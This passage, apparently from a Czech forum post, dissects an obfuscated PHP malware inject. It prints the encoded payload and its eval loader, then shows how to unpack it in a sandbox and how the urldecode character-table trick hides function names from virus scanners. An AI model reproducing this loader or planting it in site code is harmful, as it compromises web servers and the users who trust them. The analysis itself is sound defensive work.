lEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHK0nJYulJR0AYt0AYl0niBqrihSTiIlvN2k0ihk7fKelJYulgBPepRATWOQlsx0lp3XjUYNTZF0nJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKygREjUfLlP2XXNtAkWf11WOPjzYJTzF0nJYulJYulJYuvUBVFiOkcJf0lKYEHE0wQBcWjPoSvgoJtoxLAYIulJYulJYulpO1XNRE5NOQlshSupV9REwEUp21XNRE5NOQtoxLAYIulJYulJYulpOiTUOw0ZoSkJf0lKYEHE0wQBcWbgBqkWRkFihWWzF0nJYulJYulJYuvUBVFo3AFUOk0N19aWB0lshSupV9REwEUp21XNV9rNOqTWRAHUtwjp107fKelJYulJYulJYEjPoSHUtwjJf0lKYEHE0wQBcWjPoSHUtwjp107fKelJYulJYulJYEvPoEXxbw3Jf0lKYEHE0wQBcWvPoEXxbw3p107fKelJYulJYulJOkbnYEjPoSvgoJTZF0nJYulJYulJYulJYulgBPeJBkro2ETNIlvUBVFiOkcnhk7fKelJYulJYulJYulJYulJYulKO1MiOkcnYEjPoSvgoJLGfN3Acq0NtwknxLAYIulJYulJYulJYulJYulJYSkP2XyJYWygcutCIEjPoSvgoJapcSrWBAdioArJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuvUBVFiOkcCINlPBqciBVvZhSkZOkrWYD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYSTiIXupV9REwEUp21XNOkaiOw4p10TZF0nJYulJYulJYulJYulpOiTUOwXNtpXZhu9JOqTN3EDgoJepO1XNOETNIv7fKelJYulJYulJYulJYSTiIXdU3waWYlvibkLiBVcNbV5nx49GIk7fKelJYulJYulJYulJYulJYulpO1XNOkaiOw4o3A0NIu9JYNtzF0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlshutsf94UBFlWbwcN2kyUd0IGh4FJISkUbAyiOkair0IwwEOCxlIsr4AYdqrgoEkUBVFgB5viollZO1LUtG9JbX0WRu6Cc93W3Nai29yi2qkCbAyUh9rP2XkUBVrC3ATWOwjPouyGY44AYJ+prLAYIulJYulJYulJYulJYulJYSbU3pkPBAenYEbgBqkPopcPovlPoGlpRiXURwknoLAYIulJYulJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvWbVLWBQLpc54UBFtnhk7fKelJYulJYulJYulJYulJYulJYulJYulJYuvUBVFgB5vioXHN3EcJY49JYNAYIulsRATWOwjPou+fKelJYulsOqyPr4tCIpeWREFzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIEjPoSvgoJapc8tCIE2PBq1ih4tsY9LU2G+fKelJfFyN2k0iB1XNf4tzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlCd0lpF0nsY9rgoEkUBVFgB5viol+prLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JDuvo0WVwVLtUBVFgB5violtoh4tCtXjUYN7fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvUBVFgB5vioXHN3EcnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+gRE0NfeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYuyC2wdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOwdgO8lp3XjUYSbgBqkJOqkN3GlUtwjPbwcJO1XNOkaiOw4JOiXgBqkJhN7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYuvW2wIJf0lpOX0WRSHW2wICIN6Cc8tCIEtU3WkPI4tC3ATWOwjPouaNOXFs2EXWOQ9pc4vgBKapci0iB1FshNapREkUouapci3iBJ9pc4vgO9rWY4tptXjUf0tCIEvWY4tpb1XNRE5NOQ9pc4vUBVFWRkFih4tpbiTUOw0ZoSkshNapOiTUOw0ZoSkCINbUBVFo3AFUOk0N19aWB09pc4vUBVFo3AFUOk0N19aWB0apcijPoSHUtwjshNapO1XNV9aWB0apcivPoEXxbw3shNapOEXWOVzioNapci1Nbv9pc4vN211NbvapcieWREFshNapOX0WRu7fKelJYulJYulJOkbnRA1PtA0NIlvWOwjNYFFCflTsx0tN2XkUOq4UBFtnoLAYIulJYulJYulJYulJYE4UBqaPB1kJf0lN3wIN3EcnYE0iB1FCflTCINaZO1LprLAYIulJYulJYulHK0nJYulJYulJYSTiIXrWBprWRJepREkUouLGYF3nx09p2XXP2j4UBFtnoLAYIulJYulJYulJYulJOkbnRA1PtA0NIlvWOwjNYF3nhk7fKelJYulJYulJYulJYulJYulpRXjUO5XUBQlshSrWBprWRJepREkUouLAcvapc54UBFtzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulJYulJOkbnDuvo0WVwVLtUBVFiOkcp10TZF0nJYulJYulJYulJYulgBPepOiTUOw0ZoSksx0qnoLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JYE4UBqaPB1kCINai3etzF0nJYulJYulJYulJYulHBwLN2QlgBPepOiTUOw0ZoSksx0cnoLAYIulJYulJYulJYulJYulJYSTiIXbWB5dWOkyUk9kZOkrWRGep2W6U3SkUINTnhS7fKelJYulJYulJYulJYulJYulJYulJYE4UBqaPB1kJf0lpRXjUO5XUBQapc5tZIN7fKelJYulJYulJYulJYulJYulJYulJOkbnYEbNYu9JOW6U3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlp3N5pcvTZF0nJYulJYulJYulJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulJYulJYulJYSTiIXrWRpTN3EcnYE4UBFLp25yJOAciBV0JO1XNYNTnoLAYIulJYulJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJYulJYulJYulJYulJYEbNYu9JOW6U3SkUIuepO1XNOETNI4tCcNapRXjUO5XUBQLJYW3zhNTzF0nJYulJYulJYulJYulJYulJYulJYulJYuli3T3Nbk0ihuepOiFCYuvZO1LnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOW6P2qyN2QepOiFnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJYulJYulJYuli3TdUO9rihlvituTzF0nJYulJYulJYulJYulJYulJYulJYulJYuliBAeUcutsOiyUtKlN3E5UOQ9JbAyUO9cztpkiYJ+P3pkPoKlN2k0iB1XNYSbPBkLihSzUcSKiopjgoArgB9aNcD8C2iyUtK+sOpcsbX0WRu6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbW6U3SkUISaUcSkZOkrWRGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYE3iBJlshuvgRE0NV93iBJapreyCcNapOWyW2wICINyN2k0iB1XNY5FgRu/iOV0ix0tCIETiY4tptEkUou9pc4vWOwjNY4tptWkPd0tCIEeU3A0CINbZO1LshNapOE0CINbUBVFWRkFix0tCIEjPoS0ZoSkCINbgRE0Nf0tCIEeWREFzF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeib9FiB4epO1XNOETNI4tCcNapRXjUO5XUBQLJYp3JIvTZF0nJYulJYulJYulJYulJYulJYE4UBFlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYulJYulJYulJOkbnRA0NbkrWRJepRXjUYFtUb8lP3pkPoKlUBVFpcvTZF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJOw4goK7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjZBiTUOQlshSbU3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlJtNInxLAYIulJYulJYulJYulJYulJYSbW3pTWOQepO15ibkLihFlpRXjUYv7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOidUO9rihlvUokbgBqknxLAYIulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5dNbwXWYSrgoEkUBVFJOiXgBqkJD5yJVSkNb1TN3ATU25rJxFyib9aWf48PtJ+gRE0NfeyCcNapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSTiIXbU3SkUIlvZO1LUbVjihFlJtNInhk7fKelJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvZO1LCYWaUcSdNbwXWYSjPoutnhk7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsb5yJOAciBV0JO1XNYD8C2iyUtK+prLAYIulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvZO1LnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+JI4vgRE0NY4IzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIE4UBqaPB1kzF0nJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbAciBV0JRATWOwjPoulibVTUOQlxb8lQOwcUBkrN2kyUtGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYuliBAeUcuIsOpcsIJapRWkPdLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOkvnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulJYulJYEeWO1Lo2AyUtEkUtKlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYSTiIlXN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp25yPb90WoAkNbVtiB50pcvTZF0nJYulJYulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYulJYulpOX0UBqHP29aWOwaWYu9JRA0Nk9cioSLPBAknYpyg2X0UBqtioEdU250iB50JIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJYulJYSkP2XyJYEeWO1Lo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtK1GfSFPBWkpcvTZF0nJYulJYulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfQFGYSpUtEkNb5XUYSxiop2ioJlEopcU3JtnxLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfKFARSXi2Qtnhk7fKelJYulJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlAfu0JD5yWYSOU3waiYNTzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJR0AYt1kURAkZF0nfKelJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">eval</span><span class="pun">(</span><span class="str">'?&gt;'</span><span class="pun">.</span><span class="pln">$O00O0O</span><span class="pun">(</span><span class="pln">$O0OO00</span><span class="pun">(</span><span class="pln">$OO0O00</span><span class="pun">(</span><span class="pln">$O0O000</span><span class="pun">,</span><span class="pln">$OO0000</span><span class="pun">*</span><span class="lit">2</span><span class="pun">),</span><span class="pln">$OO0O00</span><span class="pun">(</span><span class="pln">$O0O000</span><span class="pun">,</span><span class="pln">$OO0000</span><span class="pun">,</span><span class="pln">$OO0000</span><span class="pun">),</span><span class="pln">$OO0O00</span><span class="pun">(</span><span class="pln">$O0O000</span><span class="pun">,</span><span class="lit">0</span><span class="pun">,</span><span class="pln">$OO0000</span><span class="pun">))));</span></pre>

<p>
	Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali <span><img alt=":)" data-emoticon="true" data-loaded="true" data-ratio="120.00" height="24" src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" title=":)" width="20"> </span>
</p>

<p>
	Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (<a href="https://sandbox.onlinephpfunctions.com/" ipsnoembed="true" rel="external nofollow">https://sandbox.onlinephpfunctions.com/</a>). Vložíme si do něj náš původní inject, nicméně <strong>"eval"</strong> přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme <strong>ZA</strong> náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup.
</p>

<p>
	<em>Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu <span><img alt=":)" data-emoticon="true" data-loaded="true" data-ratio="120.00" height="24" src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" title=":)" width="20"> inject funguje jen na verzi php 5.6.* a na 7+ nepoběží</span></em>
</p>

<p>
	Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru:<br>
	<a href="https://pastebin.com/i3ASp9Qv" ipsnoembed="true" rel="external nofollow">https://pastebin.com/i3ASp9Qv</a> (má nějakých 500 řádků - zbytečně bych projebal místo v topicu <span><img alt=":)" data-emoticon="true" data-loaded="true" data-ratio="120.00" height="24" src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" title=":)" width="20"> )</span>
</p>

<p>
	Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru:
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_15" style="">
<span class="pln">$O00OO0</span><span class="pun">=</span><span class="pln">urldecode</span><span class="pun">(</span><span class="str">"%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"</span><span class="pun">);</span><span class="pln">
$O00O0O</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">6</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln">
$O0OO00</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln">
$OO0O00</span><span class="pun">=</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">18</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">}.</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">}.</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">1</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln">
$OO0000</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">7</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">13</span><span class="pun">};</span><span class="pln">
$O00O0O</span><span class="pun">.=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">22</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">36</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">29</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">32</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">35</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span></pre>

<p>
	Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto:
</p>

<pre class="ipsCode" id="ips_uid_717_17">
n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j</pre>

<p>
	Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami:
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_21" style="">
<span class="pln">echo $O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">}</span><span class="pln"> </span><span class="com">//b</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">6</span><span class="pun">};</span><span class="pln"> </span><span class="com">//a</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">};</span><span class="pln"> </span><span class="com">//s</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln"> </span><span class="com">//e</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">};</span><span class="pln"> </span><span class="com">//s</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">};</span><span class="pln"> </span><span class="com">//t</span><span class="pln">
